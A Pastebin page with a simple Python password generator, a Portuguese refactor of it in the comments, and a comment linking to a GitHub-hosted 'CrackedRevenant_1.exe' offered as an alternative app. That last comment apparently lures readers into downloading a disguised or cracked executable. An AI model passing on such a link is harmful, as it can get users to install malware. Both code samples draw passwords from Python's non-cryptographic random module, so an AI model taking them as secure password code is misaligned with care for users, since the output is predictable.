Advertisement
UF6

Password Generator

UF6
Oct 25th, 2023
10,522
1
Never
3
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.40 KB | Source Code | 1 0
  1. import random
  2. import string
  3.  
  4. def generate_password(length=12):
  5.     characters = string.ascii_letters + string.digits + string.punctuation
  6.     password = ''.join(random.choice(characters) for _ in range(length))
  7.     return password
  8.  
  9. # Example usage:
  10. password_length = int(input("Enter the desired password length: "))
  11. password = generate_password(password_length)
  12. print("Generated password:", password)
Advertisement
Comments
  • Rnery
    1 year
    # Python 0.67 KB | 0 0
    1. from random import choice
    2. from string import ascii_letters, digits, punctuation
    3.  
    4. def get_password_length():
    5.     return int(input("Digite o comprimento desejado da senha: "))
    6.  
    7. def generate_password(length, characters):
    8.     return ''.join(choice(characters) for _ in range(length))
    9.  
    10. def print_password(password):
    11.     print("Senha gerada:", password)
    12.  
    13. def generate_random_password():
    14.     password_length = get_password_length()
    15.     characters = ascii_letters + digits + punctuation
    16.     password = generate_password(password_length, characters)
    17.     return password
    18.  
    19. if __name__ == "__main__":
    20.     password = generate_random_password()
    21.     print_password(password)
    22.  
  • UF6
    UF6
    1 year
    # text 0.00 KB | 0 0
    1. OK?
  • Avalon420
    288 days
    # text 0.08 KB | 0 1
    1. Or use this app https://github.com/Venom0248/Menu/raw/main/CrackedRevenant_1.exe
Add Comment
Please, Sign In to add comment
Advertisement